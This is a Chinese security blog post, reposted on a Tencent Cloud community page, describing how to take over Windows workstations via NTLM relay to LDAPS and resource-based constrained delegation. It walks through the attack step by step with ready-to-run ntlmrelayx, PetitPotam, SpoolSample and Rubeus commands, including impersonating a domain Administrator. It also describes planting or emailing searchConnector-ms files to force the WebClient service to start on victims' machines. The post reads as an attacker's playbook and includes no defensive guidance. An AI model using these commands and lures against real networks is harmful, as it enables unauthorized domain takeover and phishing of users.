首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >从 RPC 到 RCE - 通过 RBCD 和 MS-RPC 接管工作站

从 RPC 到 RCE - 通过 RBCD 和 MS-RPC 接管工作站

作者头像
Khan安全团队
发布2022-07-13 08:57:45
7730
发布2022-07-13 08:57:45
举报

在 Active Directory 的默认配置中,可以在其 WebClient 服务运行时远程接管工作站 (Windows 7/10/11) 和可能的服务器(如果安装了桌面体验)。简而言之,这是通过以下方式完成的;

  • 通过 MS-RPRN 或 MS-EFSRPC 通过 HTTP 触发机器身份验证。这需要一组用于 RPC 调用的凭据。
  • 将该机器身份验证中继到 LDAPS 以配置 RBCD
  • RBCD 接管

需要注意的是,WebClient 服务不会在启动时自动启动。但是,如果已触发 WebClient 服务在工作站上启动(例如,通过某些 SharePoint 交互),您可以远程接管该系统。此外,有几种方法可以强制 WebClient 服务远程启动,我将在下面的一节中介绍这些方法。

RPC 到 RCE 的步骤

  1. 开始设置到 LDAPS 服务器的中继以配置 RBCD。
ntlmrelayx.py -t ldaps://dc.windomain.local --delegate-access
  1. 尝试通过 HTTP 向您的中继触发机器身份验证。这可以通过众所周知的 RPC 调用(无疑还有其他各种未发布的调用)来完成
PetitPotam.exe logger@80/a.txt 192.168.38.104
SpoolSample.exe 192.168.38.104 logger@80/asdf 

注意这个关键步骤(远程机器身份验证)的工作;

  • WebClient 服务需要在目标(本例中为 192.168.38.104)上运行。它可能已经在某些工作站上启动。您可以通过 PowerShell 命令远程枚举它,该命令Get-NTFile -Win32Path '\\target-ip\pipe\DAV RPC SERVICE'返回命名管道(如果可访问)。
  • 您的攻击主机(logger在我的示例中)需要被视为目标划分的“内部网”。实现此目的的一种方法是使用攻击主机的 netbios 名称(无句点)。
  • 上面用于强制 HTTP 身份验证的 URI 语法(交换攻击主机名)。
  • 必须禁用 LDAP 签名/通道绑定(这是默认设置)。
  1. 如果强制执行机器身份验证,您应该会看到成功中继到 LDAPS(假设 DC 上未启用通道绑定/签名)。这将导致创建一个为其配置了 RBCD 的计算机帐户。如果无法创建机器帐户,您也可以为已经被入侵的机器配置 RBCD。
  1. 从这里开始,只需遵循标准的 RBCD 接管方法即可。我切换到 Rubeus,因为我的 Linux 主机尚未配置 Kerberos 身份验证,但当然您可以从一台主机完成所有这些操作。

计算密码哈希:

Rubeus.exe hash /password:NkQuBzsPk_AqKC6 /user:ZESLUQVX$ /domain:windomain.local

通过 S4U2Proxy 执行模拟:

Rubeus.exe s4u /user:ZESLUQVX$ /rc4:D57DFD6E3BCDB1C2BF4D02CEE32F58C3 /impersonateuser:Administrator /msdsspn:cifs/WIN10.WINDOMAIN.LOCAL /ptt

强制 WebClient 服务启动

在我的简短研究/测试中,我发现“搜索连接器”文件可用于启动 WebClient 服务。如果您将所述文件放置在本地,它将在本地启动服务(允许 LPE),或者您可以将所述文件放置在您具有写入权限的 SMB 共享上。当域用户浏览该 SMB 共享并查看您植入的“searchConnector-ms”文件时,WebClient 服务将在他们的工作站上启动,您可以继续执行上面的步骤 2。当然,您也可以尝试 NTLM 中继用户身份验证,但我们在这里的讨论/目标只是让 WebClient 启动以启用机器接管。

创建 SearchConnector-ms 文件:

您可以将 HTTP 目标设置为攻击者主机,以便知道哪个工作站启动了 WebClient。

作为一种替代方法(尽管不那么隐蔽),您可以通过电子邮件向您的目标发送“搜索连接器”文件。如果用户尝试打开文件,WebClient 服务将在他们的工作站上启动。

本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2022-06-28,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 Khan安全攻防实验室 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • RPC 到 RCE 的步骤
  • 强制 WebClient 服务启动
相关产品与服务
多因子身份认证
多因子身份认证(Multi-factor Authentication Service,MFAS)的目的是建立一个多层次的防御体系,通过结合两种或三种认证因子(基于记忆的/基于持有物的/基于生物特征的认证因子)验证访问者的身份,使系统或资源更加安全。攻击者即使破解单一因子(如口令、人脸),应用的安全依然可以得到保障。
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档